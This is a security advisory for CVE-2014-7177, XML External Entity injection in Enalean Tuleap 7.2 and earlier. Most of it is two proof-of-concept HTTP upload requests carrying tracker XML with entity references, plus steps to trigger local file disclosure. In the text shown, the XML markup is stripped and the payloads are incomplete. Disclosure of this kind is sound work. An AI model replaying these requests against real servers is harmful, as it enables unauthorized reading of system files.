Vulnerability title: Tuleap <= 7.2 External XML Entity Injection in Enalean Tuleap CVE: CVE-2014-7177 Vendor: Enalean Product: Tuleap Affected version: 7.2 and earlier Fixed version: 7.4.99.5 Reported by: Jerzy Kramarz Details: A multiple XML External Entity Injection has been found and confirmed within the software as an authenticated user. Successful attack could allow an authenticated attacker to access local system files. The following example vectors can be used as PoC to confirm the vulnerability. Vulnerability 1: 1) Upload a XXE using the following request: POST /plugins/tracker/?group_id=102&func=create HTTP/1.1 Host: [ip] User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://[ip]/plugins/tracker/?group_id=102&func=create Cookie: PHPSESSID=ujjrs6r6mssqn5gd5j83cmner4; TULEAP_session_hash=4a8075ce16e338b4015405cfa2816319 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------25777276834778 Content-Length: 10561 -----------------------------25777276834778 Content-Disposition: form-data; name="group_id" 102 -----------------------------25777276834778 Content-Disposition: form-data; name="func" docreate -----------------------------25777276834778 Content-Disposition: form-data; name="group_id_template" 100 -----------------------------25777276834778 Content-Disposition: form-data; name="tracker_new_prjname" Commencez à taper -----------------------------25777276834778 Content-Disposition: form-data; name="create_mode" xml -----------------------------25777276834778 Content-Disposition: form-data; name="tracker_new_xml_file"; filename="xee.xml" Content-Type: text/xml ]> 123&xxe; e123&xxe; 123&xxe; attachment details A full description of the artifact&xxe; summary One line description of the artifact&xxe; cc status_id Artifact Status The artifact has been submitted&xxe; The artifact is no longer active. See the Resolution field for details on how it was resolved.&xxe; assigned_to Who is in charge of solving the artifact&xxe; category_id Generally correspond to high level modules or functionalities of your software (e.g. User interface, Configuration Manager, Scheduler, Memory Manager...) severity How quickly the artifact must be completed stage&xxe; Stage in the life cycle of the artifact&xxe; The artifact has just been submitted The cause of the artifact has been identified and documented The artifact will be worked on. The artifact is being worked on. Updated/Created non-software work product (e.g. documentation) is ready for review and approval. Updated/Created software is ready to be included in the next build Updated/Created software is in the build and is ready to enter the test phase The artifact fix has been succesfully tested. It is approved and awaiting release. The artifact was not accepted. The artifact is closed. Default The system default artifact report Results Default Graphic Report By Default For Support Requests -----------------------------25777276834778 Content-Disposition: form-data; name="name" 123 -----------------------------25777276834778 Content-Disposition: form-data; name="description" 123 -----------------------------25777276834778 Content-Disposition: form-data; name="itemname" e123 -----------------------------25777276834778 Content-Disposition: form-data; name="Create" Créer -----------------------------25777276834778-- 2) The server will respond giving back a 'tracker number' in the response. The response contain link to specific "tracker" which will be similar to the following: https://[ip]/plugins/tracker/?group_id=102&tracker=11 3) Using retrieved tracker number, a XXE can be trigerred by visiting the following URL: https://[ip]/plugins/tracker/?tracker=11&func=admin-formElements Vulnerability 2 1) Upload a XXE using the following request: < POST /plugins/tracker/?group_id=102&func=create HTTP/1.1 Host: [ip] User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://[ip]/plugins/tracker/?group_id=102&func=create Cookie: PHPSESSID=ujjrs6r6mssqn5gd5j83cmner4; TULEAP_session_hash=e619b58add92383b3647ee5ba68c4a79 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------12077103611061 Content-Length: 25588 -----------------------------12077103611061 Content-Disposition: form-data; name="group_id" 102 -----------------------------12077103611061 Content-Disposition: form-data; name="func" docreate -----------------------------12077103611061 Content-Disposition: form-data; name="group_id_template" 100 -----------------------------12077103611061 Content-Disposition: form-data; name="tracker_new_prjname" Commencez à taper -----------------------------12077103611061 Content-Disposition: form-data; name="create_mode" xml -----------------------------12077103611061 Content-Disposition: form-data; name="tracker_new_xml_file"; filename="tracker_bugs.xml" Content-Type: text/xml ]> Bugs bug Bugs Tracker column8 artifact_id Unique artifact identifier&xxe; submitted_by User who originally submitted the artifact&xxe; column10&xxe; last_update_date Date and time of the latest modification in an artifact&xxe; open_date&xxe; Date and time for the initial artifact submission&xxe; fieldset_1 fieldset_default_desc_key summary One line description of the artifact details A full description of the artifact column10 severity Impact of the artifact on the system (Critical, Major,...) column10 category Generally correspond to high level modules or functionalities of your software (e.g. User interface, Configuration Manager, Scheduler, Memory Manager...) close_date End Date multi_assigned_to Who is in charge of this artifact fieldset1 column3 status_id Artifact Status stage Stage in the life cycle of the artifact The artifact has just been submitted The cause of the artifact has been identified and documented The artifact will be worked on. The artifact is being worked on. Updated/Created non-software work product (e.g. documentation) is ready for review and approval. Updated/Created software is ready to be included in the next build Updated/Created software is in the build and is ready to enter the test phase The artifact fix has been succesfully tested. It is approved and awaiting release. The artifact was not accepted. The artifact is closed. column4 resolution The resolution field indicates what happened to the bug. column9 assigned_to Who is in charge of solving the artifact fieldset1 attachment fieldset1 cross_references List of items referenced by or referencing this item. references fieldset1 permissions_on_artifact Let users groups to define who can access an artifact. platform source Customer from which the request comes from. version Product version concerned by the bug. title Définir le titre d'un artéfact status Définir l'état d'un artifact contributor Define the contributor/assignee of an artifact Bugs The system default artifact report Results Charts Graphic Report Status Number of Artifacts by Status Severity Number of Artifacts by severity level Assignment Number of Artifacts by Assignee Default The system default artifact report Results 1 -----------------------------12077103611061 Content-Disposition: form-data; name="name" Bugs -----------------------------12077103611061 Content-Disposition: form-data; name="description" Bugs Tracker -----------------------------12077103611061 Content-Disposition: form-data; name="itemname" bug -----------------------------12077103611061 Content-Disposition: form-data; name="Create" Créer -----------------------------12077103611061-- 2) The server will respond giving back a 'tracker number' in the response. The response contain link to specific "tracker" which will be similar to the following: https://[ip]/plugins/tracker/?group_id=102&tracker=12 3) Using retrieved tracker number and URL, a XXE can be trigerred by visiting the retrieved URL: https://[ip]/plugins/tracker/?group_id=102&tracker=12 Further details at: https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-7177/ Copyright: Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited. Disclaimer: The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. 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